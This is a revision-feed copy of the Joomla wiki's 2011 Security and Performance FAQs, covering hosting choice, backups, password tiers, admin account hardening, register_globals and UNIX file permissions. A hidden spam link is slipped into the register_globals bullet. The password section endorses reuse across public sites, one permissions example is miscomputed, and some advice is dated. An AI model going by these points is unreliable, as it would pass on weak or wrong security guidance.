&#039;&#039;**ianmac** put together this OOPs overview for the community; [http://forum.joomla.org/index.php/topic,200185.msg943596.html#msg943596 Post #1] and [http://forum.joomla.org/index.php/topic,200694.msg944114.html#msg944114 Post #2]&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[[Category:Development]]&lt;br /&gt;
[[Category:Tutorials]]&lt;/div&gt;</summary>
		<author><name>MTrapp82</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Security_and_Performance_FAQs&amp;diff=62324</id>
		<title>Security and Performance FAQs</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Security_and_Performance_FAQs&amp;diff=62324"/>
		<updated>2011-09-26T18:47:40Z</updated>

		<summary type="html">&lt;p&gt;MTrapp82: None&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{RightTOC}}&lt;br /&gt;
&lt;br /&gt;
= Getting Started =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Is GNU and Open Source software worth the costs and risks?==&lt;br /&gt;
&lt;br /&gt;
It&#039;s difficult, if not impossible, to argue against the value proposition of GNU and Open Source software, although [http://www.catb.org/~esr/halloween/ some have tried]. Due to zero licensing fees, lower administrative overhead, high-quality code, security releases that are distributed in minutes or hours rather than months or marketing cycles, and free online support from thousands of like-minded developers and users, GNU and Open Source offerings are often the best solution. The math is really quite compelling: &lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;1&amp;quot;&lt;br /&gt;
! &#039;&#039;&#039;Applications&#039;&#039;&#039; !! &#039;&#039;&#039;Industry Leader&#039;&#039;&#039; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Cost&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
| GNU/Linux&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Apache Web Server&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| MySQL Relational Database&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| PHP Scripting Language&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Content Management System&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Thousands of Joomla Extensions&lt;br /&gt;
| Varies&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
! &#039;&#039;&#039;Support&#039;&#039;&#039; !! &#039;&#039;&#039;Relative Quality&#039;&#039;&#039; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Cost&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Project Leadership Team&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Forge&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Online Forums&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Documentation&lt;br /&gt;
| Medium&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Thousands of Online Volunteers&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Paid Professional Support&lt;br /&gt;
| Widely Available&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Total&#039;&#039;&#039; !! &amp;amp;amp;nbsp; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;0&#039;&#039;&#039;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==What is the Joomla! Administrator&#039;s Security Checklist?==&lt;br /&gt;
&lt;br /&gt;
The [[Security Checklist 1 - Getting Started|Security Checklist]] is a concise selection of the best tips and tricks from the many contributors in the Joomla Security Forums. Review this list BEFORE you install Joomla for the first time.&lt;br /&gt;
&lt;br /&gt;
==What are the top 10 stupidest Joomla! security tricks?==&lt;br /&gt;
A very good question, and sadly one that many did not ask in time. We proudly present the [[Top 10 Stupidest Administrator Tricks]].&lt;br /&gt;
&lt;br /&gt;
==How do I choose a quality hosting provider?==&lt;br /&gt;
&lt;br /&gt;
The following is a short list of security-related requirements. Depending on your specific needs, you may have many other security requirements such as shell access, cron access, SSL server, etc.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Choose *NIX:&#039;&#039;&#039; Joomla! requires at least PHP and MySQL to run. Because Apache/PHP/MySQL run best on UNIX or GNU/LINUX servers, choose a host that offers these options. &lt;br /&gt;
* &#039;&#039;&#039;Use Secure FTP:&#039;&#039;&#039; Choose a host that requires SFTP (Secure FTP) for transferring files. This prevents others from snooping your user name and password from packets as they travel over the Internet.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Set PHP register_globals OFF:&#039;&#039;&#039; The most security conscious hosts turn PHP&#039;s Register Globals directive OFF by default. The next best allow you to turn it off in local .htaccess or php.ini files. A host that requires you to run a site with Register Globals ON should be avoided. This is true for &amp;lt;span class=&amp;quot;plainlinks&amp;quot;&amp;gt;[http://www.thepiggybackrider.com/ &amp;lt;span style=&amp;quot;color:black;font-weight:normal; text-decoration:none!important; background:none!important; text-decoration:none;/*CITATION*/&amp;quot;&amp;gt;kid carrier&amp;lt;/span&amp;gt;]&amp;lt;/span&amp;gt; any PHP enabled site, whether or not you are running Joomla!. There is a legitimate argument to be made by hosts for keeping Register Globals ON for PHP4 sites. This is that it would break too much legacy code. This argument should not be accepted for a PHP5 installation. Beginning with PHP5, the official PHP recommendation was to keep Register Globals is OFF. Note that beginning with PHP6, there will not even be a Register Globals setting, so don&#039;t get caught in a Register Globals backwater. Modify your code to work without Register Globals, and choose a host that encourages such practices.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Stay up-to-date:&#039;&#039;&#039; Choose a host that stays up-to-date with the latest stable versions of core applications, including the operating system, database, and [http://www.php.net/ PHP].&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Avoid cheap shared servers:&#039;&#039;&#039; Be sure users on your shared server can&#039;t view each others files and databases, for example through shell accounts and cpanels.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Proactive server management:&#039;&#039;&#039; Choose a host that provides real information about security compromises, rather than simply shutting your site down. Check their user forums for evidence of how they&#039;ve responded to cracks in the past. A good host may for example, inform you immediately that a security breach has occurred and will quarantine the problem file for you, while leaving it there for further investigation. A poor host will shut your site down and provide very limited information on why. Watch out! All too many do this.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Require raw log access:&#039;&#039;&#039; Be sure you have access to raw server logs. Reading these logs is a vital part of site security and recovery.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Performance matters:&#039;&#039;&#039; Choose a host that limits the number of users per machine and the average CPU load per machine to some reasonable number (depending on hardware). Be sure they proactively move user sites as needed to balance load. Check the number of domains on a server using reverse IP lookup.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Data center:&#039;&#039;&#039; Choose a host that manages it&#039;s own data center. Check the data center infrastructure, such as redundant Internet access, hot swappable backups, full daily backups, environment and access controls, emergency generators, etc.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Know your neighbors:&#039;&#039;&#039; Check that your host is not at risk of having its IP addresses blocked because it hosts SPAM sites.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Consider recommendations:&#039;&#039;&#039; Check this [http://forum.joomla.org/index.php/topic,6856.0.html list of recommended hosts].&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Grow with your site:&#039;&#039;&#039; As sites grow in complexity, resource requirements, and security requirements, they may need to be moved off of a shared server environment. At that point, good options include, 1) &#039;&#039;&#039;dedicated servers&#039;&#039;&#039; offer the best possible security and performance, but at the highest expense, 2) &#039;&#039;&#039;virtual servers&#039;&#039;&#039; offer almost all the advantages of a dedicated server, but the hardware and configuration cost is shared among multiple virtual servers.&lt;br /&gt;
&lt;br /&gt;
==What are the best practices for site backups?==&lt;br /&gt;
&lt;br /&gt;
: There are three traditional backup types--full, cumulative and differential.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Full Backups&#039;&#039;&#039; &lt;br /&gt;
: A complete backup of all associated files and database at a known point in time.&lt;br /&gt;
&lt;br /&gt;
: Both of these are considered Incremental backups, they can be used independently of each other or in conjunction with each other but always relate back to a FULL backup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Cumulative Backups&#039;&#039;&#039; &lt;br /&gt;
: This is a backup of the differences since the last FULL backup, so each cumulative backup gets bigger each cycle as it is also backing up data previously backup, since the last FULL backup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Incremental Backups&#039;&#039;&#039; &lt;br /&gt;
: This is a backup of the changes since the previous backup of any type, i.e., full, cumulative, or incremental.&lt;br /&gt;
&lt;br /&gt;
: If you site is not too large, then FULL backups are the way to go, once a week at least. If your content changes quite regularly or more importantly cannot be recreated or is too costly to recreate, once a night or more may be more effective.&lt;br /&gt;
&lt;br /&gt;
: If time, server resources, or the rate of data change is too high to successfully obtain a FULL backup every night then the incremental backups are needed.&lt;br /&gt;
&lt;br /&gt;
: If you choose to use a cumulative backup following a weekly full, the backups each night will run quicker than a full backup, however as the week progresses, each nightly cumulative backup will increase in size and time, due to not only backing up the changes since last night&#039;s backup, but it also backing up all changes each night and previous nights since the last full backup was made. The benefit of this type of backup, in conjunction with full backups is the speed of restoration. To restore, you now only need to recover the most recent full and cumulative backups to fully recover all information.&lt;br /&gt;
&lt;br /&gt;
: If time or server resources are paramount or data change overwhelms cumulative backups, turn to differential backups, this style of backup when used in conjunction with a full backup will provide a very similar level of protection, but restoration will be slower. Differential backups will only backup changed data since the last backup of any type, not since the last full backup, as with a cumulative backup. Thus, when restoring data, you will need to recover the full backup, then each differential backup in turn (oldest first) in order to fully recover all information. This method also has the drawback of recovering any legitimately deleted files, potentially &amp;quot;over-filling&amp;quot; the file-system.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Data Protection Best Practice says&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# You should be able to completely recover from a catastrophic failure from at least two previous full backups. Just in case the most recent full backup is damaged, lost, or corrupt.&lt;br /&gt;
# A good backup regime should contain at least one full backup within a chosen cycle, normally weekly.&lt;br /&gt;
# A good backup practice is to store backups away from the current data location, preferably off site.&lt;br /&gt;
# Dynamic data should be backed up &#039;&#039;offline&#039;&#039; or &#039;&#039;hot&#039;&#039; to avoid &#039;&#039;fuzzy&#039;&#039; backups (data is changing as you back it up, potentially leading to related information not being in sync when backed up.&lt;br /&gt;
&lt;br /&gt;
: For the average Web site, a daily or weekly full backup of both site files and database records is normally more than enough. Keeping a number of backups for a period of time is always a good plan, maybe keep each weekly backup for one month. This allows you to recover an old site in the case of emergencies or if for some reason you have local backup file corruption.&lt;br /&gt;
&lt;br /&gt;
: There are many PHP and Perl scripts on the Web that can be automated through CRONTAB and can either email (if small enough) or FTP the backup files to an off- or cross- server location. Remember that to some degree with Joomla! you already have an instant backup of the core files, if you haven&#039;t modified core, the Joomla! distribution files can be easily restored. Then you need only worry about backing up changed files and the database.&lt;br /&gt;
&lt;br /&gt;
==Where can I learn about vulnerable extensions?==&lt;br /&gt;
* See the [http://docs.joomla.org/Vulnerable_Extensions_List Vulnerable Extensions List]&lt;br /&gt;
&lt;br /&gt;
==Where can I learn more about file permissions?==&lt;br /&gt;
&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/113-joomla-and-unix-file-permissions-explanation.html Unix Permissions Primer]&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/112-joomla-and-windows-file-permissions-explanation.html Windows Permissions Primer]&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/111-permissions-under-phpsuexec.html Using phpSuExec]&lt;br /&gt;
&lt;br /&gt;
==How do I setup a powerful password scheme?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Most users may not need more than 3 levels of passwords and webmasters no more than 5. Each level must be completely unrelated to the others in terms of which ids and passwords are used.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 5 (Public)&#039;&#039;&#039; - is the password you use on public sites. It is not imperative that you use a different password on every site. In fact it&#039;s more effective to use a different username on every site than it is to use a different password truth be told! Knowing the username allows easy hacking...half the work is done! knowing the password is useless unless you know what account it goes to!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 4 (Webmaster)&#039;&#039;&#039; - Reserved for SQL Only. this is a password that would only be used by SQL and limited to a specific database in SQL. The best way to protect SQL is by limiting each account to just being able to do the minimum that DB requires. In some cases it is even wise to have a read only account for display and a separate write account that the backend write functions use. But that doesn&#039;t apply to J! at all... for J! the best practice is to set up an individual account (not root for sure) that only has read and write access to the J! DB nothing else.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 3 (Webmaster)&#039;&#039;&#039; - FTP and Server Access. these can be the same user:pass combo since both if compromised can do the most damage. doesn&#039;t matter if the backend or Cpanel is safe if the FTP is not and the same goes the other way!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 2 (Personal Data Access)&#039;&#039;&#039; - This password should be used for any sites or locations that contain personal data with the exception of Banking (see level 1). these sites are often used for social engineering data such as medical records, service accounts and any financial records not directly related to banking! You want these to be secure but also different from the real threat of security...your money!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 1 (Banking!)&#039;&#039;&#039; - this needs to be the most secure in fact if you have two different banks it actually pays to have a different user:pass for each just to be sure!&lt;br /&gt;
&lt;br /&gt;
= Joomla! Core =&lt;br /&gt;
&lt;br /&gt;
==How can I check my Joomla! installation&#039;s overall security and health?==&lt;br /&gt;
&lt;br /&gt;
: 1. Use the free Joomla extension, Joomla! Tools Suite (JTS), which is a Joomla! environment audit, maintenance and diagnostic application written in PHP. The JTS suite of tools can diagnose, report and advise on common installation, health and security issues, including performing several common performance and recovery actions.&lt;br /&gt;
&lt;br /&gt;
: Project Home: http://joomlacode.org/gf/project/jts/&lt;br /&gt;
&lt;br /&gt;
==How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?==&lt;br /&gt;
&lt;br /&gt;
# Login to your Joomla! sites Administration site&lt;br /&gt;
# From the menu, select Extensions -&amp;gt; Module Manager&lt;br /&gt;
# From within the Module Manager, select Administrator&lt;br /&gt;
# From the Icon Menu (top right), select New&lt;br /&gt;
# From the choices available, select Feeds Display&lt;br /&gt;
# At the Feed Module configuration page, enter the appropriate details (Title (EG: Security Announcements) and Feed as a minimum)&lt;br /&gt;
# Enter http://feeds.joomla.org/JoomlaSecurityNews in the Feed URL&lt;br /&gt;
# Select cpanel as the position&lt;br /&gt;
# Optional Select Apply from the Icon Menu (top right) and place the feed in the order where you want to see it in the Admin Control Panel&lt;br /&gt;
# Select Save from the Icon Menu (top right)&lt;br /&gt;
# Go back to your Admin Site main page (Site -&amp;gt; Control Panel) and you should see your newly built Security Feed.&lt;br /&gt;
&lt;br /&gt;
: You can also use this technique to deliver your own &amp;quot;Customer Updates&amp;quot; to sites that you build for others. It&#039;s a great way to communicate with your customers after handing over the site to them. Every time they log in to the Back End, they&#039;ll see your latest news.&lt;br /&gt;
&lt;br /&gt;
==Why should I immediately change the name of the default admin user after a new install?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: All new Joomla installations start with a Super Administrator account called, &#039;admin&#039;. During the installation process, you will be asked to give this account a password. That&#039;s great as far as it goes, but because the user name of this highly-confidential account is generally well known, 50% of the security of the username/password combination is already exposed. Now all anyone needs to do is guess the password and they&#039;re in.&lt;br /&gt;
&lt;br /&gt;
: By changing the user name to something more difficult to guess, you greatly increase the difficulty of accessing the account. An attacker must correctly guess both the user name and password at the same time to gain access. This is several magnitudes more difficult than simply guessing the right password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Log into the Back End&lt;br /&gt;
# Select User Manager&lt;br /&gt;
# Select the &#039;admin&#039; user record&lt;br /&gt;
# Change the value in username. (Good user names contain a mix of letters and numbers.)&lt;br /&gt;
# Save&lt;br /&gt;
# Remember the new username!&lt;br /&gt;
&lt;br /&gt;
== Why does the Back-End session stay alive even though I set it to expire? ==&lt;br /&gt;
&lt;br /&gt;
: When you edit an item from the Back-End, there is a keep-alive script running that keeps the session active. This is a great convenience in most cases, as it prevents you from losing all your edits if you wait too long to submit the content. However, there are a few potential security issues to be aware of:&lt;br /&gt;
&lt;br /&gt;
# If you walk away from your computer while you are editing content, someone else can use your computer to attack the site.&lt;br /&gt;
# Due to the risk of Cross-Site Request Forgery attacks ([http://en.wikipedia.org/wiki/Cross-site_request_forgery CSRF]) it&#039;s never a good idea to browse the Internet in another window or tab while an open Joomla! Administrator session is active. Joomla! has been hardened against such attacks, but it&#039;s remotely possible that an as yet unknown vulnerability exists in the Joomla! core, a third-party extension, or the browser itself.&lt;br /&gt;
&lt;br /&gt;
==How do I turn off RG_EMULATION? {{JVer|1.0}}==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: PHP&#039;s &#039;&#039;register_globals&#039;&#039; option was a terrible idea from a security point of view. It encouraged lazy programming and exposed many scripts to needless risk. This is because RG allows variables passed by the user to be automatically passed to the script. This breaks a cardinal rule: Never trust user input. &lt;br /&gt;
&lt;br /&gt;
: Register Globals has been officially deprecated in PHP5, and beginning with PHP6 will no longer even exist. Good riddance! &lt;br /&gt;
&lt;br /&gt;
: Joomla 1.0.x uses RG_Emulation functions which are somewhat safer than standard PHP &#039;&#039;register_globals&#039;&#039;, but it&#039;s still best not to allow any form of automatic variable assignments. Note that poorly-written extensions may fail with &#039;&#039;register_globals&#039;&#039; turned off. Such failure is a sign that the extension does not check user input correctly. Best advise: Don&#039;t use such extensions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! 1.0.13&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Beginning with the 1.0.13 release, Register Globals Emulation has been moved to the main configuration file and can be adjusting in the Back-end Administrator interface.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! 1.0.12 and earlier&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Edit the file, &#039;&#039;globals.php&#039;&#039;, found in the root directory of your Joomla! site. At about line 23 change:&lt;br /&gt;
&lt;br /&gt;
 define(&#039;RG_EMULATION&#039;,1)&lt;br /&gt;
&lt;br /&gt;
: to&lt;br /&gt;
&lt;br /&gt;
 define(&#039;RG_EMULATION&#039;,0)&lt;br /&gt;
&lt;br /&gt;
==What do Error 1, Error 2, and Error 3 mean?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 1 = FATAL ERROR: MySQL not supported...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
You need to compile MySQL support into PHP or the MySQL server is down.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 2 = FATAL ERROR: Connection to database ...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Joomla! cannot talk to the database, most likly you have a typo in the username or password settings in &#039;&#039;configuration.php&#039;&#039;, or you are trying to access a database table with the wrong table prefix.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 3 = FATAL ERROR: Database not found...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The database cannot be found. Check the database settings in &#039;&#039;configuration.php&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The MySQL variables in &#039;&#039;configuration.php&#039;&#039; (found in Joomla!&#039;s root directory) can be modified to correct these problems.&lt;br /&gt;
&lt;br /&gt;
For Joomla! 1.0.xx&lt;br /&gt;
 $mosConfig_host = &#039;localhost&#039;;&lt;br /&gt;
 $mosConfig_user = &#039;accountname__username&#039;;&lt;br /&gt;
 $mosConfig_password = &#039;userpassword&#039;;&lt;br /&gt;
 $mosConfig_db = &#039;accountname_dbName&#039;;&lt;br /&gt;
 $mosConfig_dbprefix = &#039;jos_&#039;;&lt;br /&gt;
&lt;br /&gt;
Modifying the &#039;&#039;$mosConfig_host&#039;&#039; to an IP Address of a remote host works for hosts that have separate MySQL servers from the client hosting servers.&lt;br /&gt;
&lt;br /&gt;
==How do UNIX file permissions work?==&lt;br /&gt;
&lt;br /&gt;
Unix/Linux file permissions can be confusing. The basic UNIX permissions come in three flavors;&lt;br /&gt;
&lt;br /&gt;
 Owner Permissions : Control your own access to files.&lt;br /&gt;
 Group Permissions : Control access for you and anyone in your group.&lt;br /&gt;
 Other Permissions : Control access for all others.&lt;br /&gt;
&lt;br /&gt;
In Unix, when permissions are configured the server allows you to define different permissions for each of these three categories of users. In a Web server environment permissions are used to control which Web site owners can access which directories and files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;What do Unix permissions look like?&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
When viewing your files through an FTP client or from the servers command line;&lt;br /&gt;
&lt;br /&gt;
 filename.php username usergroup rwx r-x r-x&lt;br /&gt;
&lt;br /&gt;
The first entry is the name of the file, the next entry is your username on the server, the second entry is the group that you are a member of and the last entry is the permissions assigned to that this file (or directory). If you notice, I have intentionally spaced out the permissions section, I have grouped the 9 characters into 3 sets of 3. This separation is key to how the permissions system works. The first set of 3 permissions (rwx) relate to the username seen above, the second set of 3 permissions (r-x) relate to the usergroup seen above and the final set of 3 permissions (r-x) relate to anyone else who is not associated with the username or groupname.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Owner (User) relates to username&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Owner (User) is normally you, these permissions will be enforced on your hosting account name.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Group relates to usergroup&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Group permissions will be enforced on other people that are in the same group as you, within a hosting environment, there is very rarely other people in the same group as you. This protects your files and directories from being made available to anybody else who may also have a hosting account on the same server as you.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Other relates to everyone else&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Other permissions, these will be enforced on anybody else on the server that is either not you or not in your group. So in a Web Serving environment, remembering that no-one else is normally in your group, then this is everybody else accessing the server except for you. Each of the three sets of permissions are defined in the following manner;&lt;br /&gt;
&lt;br /&gt;
 r = Read permissions&lt;br /&gt;
 w = Write permissions&lt;br /&gt;
 x = Execute permissions&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
&lt;br /&gt;
As many of you already know, permissions are normally expressed as a numeric value, something like 755 or 644. so, how does this relate to what we have discussed above? Each character of the permissions are assigned a numeric value, this is assigned in each set of three, so we only need to use three values and reuse them for each set.&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
 4 2 1 4 2 1 4 2 1&lt;br /&gt;
&lt;br /&gt;
Now that we have a value that represents each permission, we can express them in numeric terms. The values are simply added together in the respective sets of 3, which will in turn give us just three numbers that will tell us what permissions are being set. If we are told that a file has the permissions of 777, this would mean that the following was true.&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
 4 2 1 4 2 1 4 2 1&lt;br /&gt;
&lt;br /&gt;
Thus...&lt;br /&gt;
&lt;br /&gt;
   4+2+1 4+2+1 4+2+1&lt;br /&gt;
 =   7     7     7&lt;br /&gt;
&lt;br /&gt;
The Owner of the file would have full Read, Write and Execute permissions, the group would also have full Read, Write and Execute permissions, and the rest of the world can also Read, Write and Execute the file. The standard, default permissions that get assigned to files and directories by the server are normally;&lt;br /&gt;
&lt;br /&gt;
 Files = 644&lt;br /&gt;
 Directories = 755&lt;br /&gt;
&lt;br /&gt;
These permissions would allow, for files;&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r--&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has Read only&lt;br /&gt;
&lt;br /&gt;
and for directories;&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute only&lt;br /&gt;
 Other has Read and Execute only&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now, things can get a little complicated when we start talking about shared Web Servers, the Web Server software will be running with its own username and groupname, most servers are configured for them to use either &amp;quot;apache&amp;quot; and &amp;quot;apache&amp;quot; or &amp;quot;nobody&amp;quot; and &amp;quot;nobody&amp;quot; as username and groupname. Here is the problem. Your Web Server runs as its own user, and this user is not you or in your group, so the first two sets of permissions do not apply to it. Only the world (other) permissions apply. Therefore, if you configure a permissions set similar to 640 on your website files, your Web Server will not be able to run your website files.&lt;br /&gt;
&lt;br /&gt;
 640 = rw- r-- ---&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has no rights&lt;br /&gt;
&lt;br /&gt;
The Web server is assigned no permissions at all and cannot Execute, Write or more importantly, even Read the file to delivery its content to a website visitors browser. If a directory was to be assigned 750 permissions, this would have the same effect, because the WebServer does not even have permissions to read files in the directory, even if the files inside that directory had favorable permissions.&lt;br /&gt;
&lt;br /&gt;
 750 = rw- r-x ---&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has no rights&lt;br /&gt;
&lt;br /&gt;
Directories have an extra quirk, if a directory does not have the Execute permission set in the World set then even if Read and Write are set, if the program is not run as the user or group, it will still not be able to access the files within the directory. The Execute setting allows the program to &amp;quot;Execute&amp;quot; commands in the directory, so without it being on the program(in our case a Web Server) cannot execute the &amp;quot;Read&amp;quot; command, thus cannot deliver your file to the users web browser.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;How Does this Relate to Joomla?&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Good question, well in the first instance this would be important during the Web-Installer process.&lt;br /&gt;
If you can remember back to when you ran the Joomla! Web-Installer, we were looking for specific directories to be designated as writable. We see quite a numbers of posts either stating that there were problems during the install with permissions or asking what permissions are recommended. Some even consider the message, asking for &amp;quot;Writable&amp;quot; permissions to be too vague.&lt;br /&gt;
&lt;br /&gt;
Unfortunately, as the Web-Installer does not know how your server is configured, then it cannot be more specific, however, once you understand the permissions settings and you know a little about Web Serving environments, you will actually find that the term &#039;&#039;writable&#039;&#039; is actually very specific and a more than adequate description of what Joomla! needs. Thinking back to the above information, you may remember that there are three places where &#039;&#039;write&#039;&#039; permissions maybe set;&lt;br /&gt;
&lt;br /&gt;
 Owner Writable&lt;br /&gt;
 Group Writable&lt;br /&gt;
 Other Writable&lt;br /&gt;
&lt;br /&gt;
Also remembering that the Web Server generally doesn&#039;t run as your own user or in the same group. When you run the Web Installer from a browser, it is the Web Server trying to access the files, thus it is the &amp;quot;Other&amp;quot; permissions that will apply to it. If the &amp;quot;Other&amp;quot; permissions do not allow the Web Server to Read, Write or Execute commands in the Joomla! directories, you will receive the message saying that the directories are not &#039;&#039;writable&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
In this case, you will need to configure the Other permissions to be &amp;quot;7&amp;quot; on the directories listed in the Web Installer.&lt;br /&gt;
So your total permissions might be something like 757, in the worse case you might need to set 777. These very open permissions&lt;br /&gt;
maybe reset back to 755 after the installer runs to assist in the security of your directories and files.&lt;br /&gt;
&lt;br /&gt;
 757 = rwx r-x rwx&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has Read, Write and Execute&lt;br /&gt;
&lt;br /&gt;
Just to make things even more confusing, many hosting firms make use of software called phpsuExec or suExec, these tools change the way the Web Server runs, where the Web Server would not normally run as your username, in this case, it does. The use of the &#039;&#039;other&#039;&#039; permissions, may not be required, now you may only need to configure directories to be &#039;&#039;writable&#039;&#039; to your own username and groupname, this allows directory permissions to be set as 755 or 775 instead of 757 or 777.&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has Read and Execute&lt;br /&gt;
&lt;br /&gt;
 775 = rwx rwx r-x &lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read, Write and Execute&lt;br /&gt;
 Other has Read and Execute&lt;br /&gt;
&lt;br /&gt;
